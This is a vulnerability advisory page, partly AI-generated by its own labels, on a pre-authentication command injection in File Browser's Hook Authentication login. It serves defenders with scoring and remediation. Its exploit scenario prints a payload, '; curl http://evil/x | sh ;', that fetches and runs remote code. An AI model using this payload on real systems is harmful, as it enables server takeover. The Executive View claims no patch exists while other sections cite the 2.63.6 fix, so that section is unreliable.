Attack ChainAIDerived
Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain
-
AccessReach File Browser login page
-
DeliveryInject shell metacharacters in username/password
-
ExploitHook command interpolated via os.Expand
-
ExecutionShell executes injected OS commands pre-auth
-
ImpactRemote code execution as server process
Vulnerability Assessment
| Weakness |
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization OS command sanitization, avoid shell exec
MITRE ATT&CK
2 techniques across 1 tactic: Execution The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up. |
| Exploitation Conditions | Exploitation requires the File Browser instance to have the optional Hook Authentication feature enabled (login verification delegated to an external shell command) - this is the exact prerequisite and it is not the default. Given that configuration, no authentication is needed (PR:N): an unauthenticated remote attacker simply injects shell metacharacters into the username or password field on the login screen, and the command executes before any authentication check. The primary limiting factor is the non-default Hook Authentication configuration; instances using standard, proxy, or no-hook authentication are not exploitable via this path. |
| Impact | All severity signals point to genuine high priority: the CVSS 4.0 vector CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N describes a network-reachable, low-complexity, unauthenticated attack with full confidentiality, integrity, and availability impact on the vulnerable system, scoring 9.3. The critical caveat is the conditional nature of the bug: exploitation requires the non-default Hook Authentication feature to be enabled, so the raw CVSS - which assumes the feature is active - overstates risk for the majority of deployments that use standard authentication. No EPSS score, KEV listing, or POC indicator was supplied; exploitation status is therefore 'no public exploit identified at time of analysis.' Net assessment: critical and trivially exploitable where Hook Authentication is configured, but limited in blast radius across the install base by that configuration prerequisite - instances with the feature enabled should be treated as urgent. |
| Exploit ScenarioDerived | An attacker who can reach the login page of a File Browser instance configured with Hook Authentication submits a username or password containing shell metacharacters, e.g. a payload like '; curl http://evil/x | sh ;'. The server passes the unsanitized value to the configured shell hook before validating any credentials, executing the attacker's commands as the File Browser process user. No public exploit code is identified at this time, but the network attack vector and low complexity make weaponization straightforward. |
Get an e-mail when this CVE is exploited, patched or re-scored. Free account.
Alert meAnalysisAIv1 – Jun 25, 2026
Pre-authentication remote code execution in File Browser before 2.63.6 lets unauthenticated attackers run arbitrary OS commands when the optional Hook Authentication feature is enabled. Because login credentials are interpolated into an external shell command via os.Expand without sanitization, shell metacharacters placed in the username or password field at the login screen execute on the server before authentication occurs. No public exploit identified at time of analysis, but the GitHub Security Advisory (GHSA-m93h-4hw7-5qcm) confirms the flaw and CVSS 4.0 rates it 9.3 (Critical).
RemediationAI
Upgrade to File Browser 2.63.6, which contains the vendor fix (Vendor-released patch: 2.63.6); see the advisory at https://github.com/filebrowser/filebrowser/security/advisories/GHSA-m93h-4hw7-5qcm. If immediate upgrade is not possible, disable the Hook Authentication feature and revert to File Browser's built-in or proxy authentication, which fully removes the vulnerable os.Expand command-interpolation path at the cost of losing external login delegation. As an additional compensating control, restrict network access to the login interface (for example, place it behind a VPN or firewall-allowlist so only trusted hosts can reach the login endpoint); this reduces exposure but does not remove the underlying injection for permitted clients. Do not invent intermediate version numbers - 2.63.6 is the confirmed fixed release.
Affected VersionsENISA
Affected Packages
Source: OSV (Open Source Vulnerabilities)
Affects your stack
Affects 3 packages in go, euvd
Checking this CVE against your own stacks and servers is part of the Basic plan and up.
Technical ContextAI · show details
File Browser is a self-hosted Go web application providing a browser-based interface for uploading, deleting, previewing, renaming, and editing files in a designated directory (cpe:2.3:a:filebrowser:filebrowser). The flaw is a CWE-78 OS Command Injection rooted in the Hook Authentication mechanism, a feature that delegates login verification to an external shell command. The code uses Go's os.Expand to interpolate the user-supplied username and password into the command string; os.Expand performs variable substitution but provides no shell-quoting or sanitization, so attacker-controlled input is passed directly to the underlying shell, allowing metacharacters such as ;, |, $(), and backticks to break out and invoke additional commands.
Know when Filebrowser gets its next vulnerability
- Watch products and get an email when something new is published
- Check this CVE against your own stack and servers
- Exploit and PoC references, threat intelligence from 22 sources
No credit card · 7-day full trial
Severity by source
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N
Network-reachable login, no auth or interaction once Hook Auth is enabled (PR:N/UI:N/AC:L), yielding full RCE with high C/I/A; scope unchanged as commands run within the server's own context.
Primary rating from Vendor (GitHub_M).
CVSS VectorVendor: GitHub_M
Lifecycle Timeline
1DescriptionCVE.org
File Browser is a file managing interface for uploading, deleting, previewing, renaming, and editing files within a specified directory. Prior to 2.63.6, the Hook Authentication feature in File Browser allows administrators to delegate login verification to an external shell command. User-supplied credentials (username and password) are interpolated into this command string using os.Expand without sanitization. An unauthenticated remote attacker can inject shell metacharacters in the username or password field at the login screen, causing the server to execute arbitrary OS commands before any authentication takes place. This is a critical pre-authentication RCE. This vulnerability is fixed in 2.63.6.
Executive ViewAI
File Browser deployments with Hook Authentication enabled face immediate risk from unauthenticated attackers capable of assuming full system control; no vendor patch is available to remediate this CRITICAL vulnerability. Organizations must implement emergency mitigation measures within 24 hours to prevent potential compromise of affected systems.
No vendor-released patch identified at time of analysis. Interim mitigations: (1) Disable Hook Authentication feature if operationally feasible; (2) Implement network segmentation to restrict File Browser access to trusted systems only; (3) Deploy monitoring for shell metacharacters (|, ;, $, backticks) in authentication logs; (4) Implement strict access controls to limit File Browser exposure; (5) Consider containerization or air-gapping of affected systems pending patch availability.
Threat Intelligence Overview
How this decision was reached
The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.
What every action level means
SSVC AssessmentENISA
Priority Score
Attack Technique
OS command injection occurs when an application passes unsanitized user input directly into system shell commands.
More in Filebrowser
View allUnauthorized file operations in File Browser before fix. PoC and patch available.
A cross-site scripting (XSS) vulnerability in FileBrowser before v2.23.0 allows an authenticated attacker to escalate pr
Symlink-following read paths in FileBrowser Quantum serve files from outside a user's assigned scope: download, preview,
Recursive operation authorization bypass in File Browser before v2.63.22 permits any authenticated user to copy, rename,
Path normalization bypass in Filebrowser prior to 2.57.1 allows authenticated users to circumvent file access restrictio
File Browser provides a file managing interface within a specified directory and it can be used to upload, delete, previ
File Browser provides a file managing interface within a specified directory and it can be used to upload, delete, previ
File Browser provides a file managing interface within a specified directory and it can be used to upload, delete, previ
Arbitrary file read in FileBrowser Quantum (gtsteffaniak/filebrowser) before 1.4.3-beta lets any authenticated user, reg
File Browser versions 2.50.0 through 2.63.21 permit indefinite session persistence via expired JWT tokens when proxy aut
File Browser provides a file managing interface within a specified directory and it can be used to upload, delete, previ
Arbitrary file deletion in filebrowser before 2.63.19 allows authenticated users holding only Create permission to delet
Same weakness CWE-78 – OS Command Injection
View allSame technique Command Injection
View allVendor StatusVendor
SUSE
Severity: Critical| Product | Status |
|---|---|
| SUSE Linux Enterprise Server 16.1 | Affected |
| SUSE Linux Enterprise Server for SAP applications 16.1 | Affected |
| SUSE Linux Enterprise Module for Package Hub 15 SP5 | Affected |
| SUSE Linux Enterprise Module for Package Hub 15 SP6 | Affected |
| openSUSE Leap 15.5 | Affected |
| openSUSE Leap 15.6 | Affected |
EUVD-2026-39510
GHSA-m93h-4hw7-5qcm
NVD
CVE.org
EPSS
Vulnrichment
Exploit-DB